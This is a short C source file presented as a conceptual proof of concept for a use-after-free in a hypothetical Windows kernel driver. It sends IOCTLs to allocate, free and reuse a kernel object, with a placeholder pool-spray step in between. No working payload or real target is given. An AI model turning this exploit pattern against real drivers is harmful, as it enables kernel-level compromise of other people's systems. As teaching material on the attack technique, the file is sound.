#include <windows.h>
#include <stdio.h>
// Conceptual PoC for Use-After-Free in Kernel Driver
// DO NOT RUN ON PRODUCTION SYSTEMS
int main() {
HANDLE hDevice;
LPCWSTR deviceName = L"\\\\.\\VulnerableDriver"; // Hypothetical device name
DWORD bytesReturned;
// 1. Get local access and open handle to the driver
hDevice = CreateFileW(deviceName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("Failed to open device. Error: %d\n", GetLastError());
return 1;
}
// 2. Trigger object allocation in kernel
DeviceIoControl(hDevice, 0x2200, NULL, 0, NULL, 0, &bytesReturned, NULL);
// 3. Trigger the free operation (UAF trigger)
DeviceIoControl(hDevice, 0x2201, NULL, 0, NULL, 0, &bytesReturned, NULL);
// 4. Spray the pool to occupy the freed memory
// Attackers use this to control the content of the freed memory region
// This is a simplified representation of Pool Spraying
for (int i = 0; i < 1000; i++) {
SprayKernelPool(); // Hypothetical function to manipulate kernel memory
}
// 5. Trigger the Use-After-Free
// The driver attempts to use the freed pointer, now controlled by attacker
DeviceIoControl(hDevice, 0x2202, NULL, 0, NULL, 0, &bytesReturned, NULL);
printf("Exploit logic executed.\n");
CloseHandle(hDevice);
return 0;
}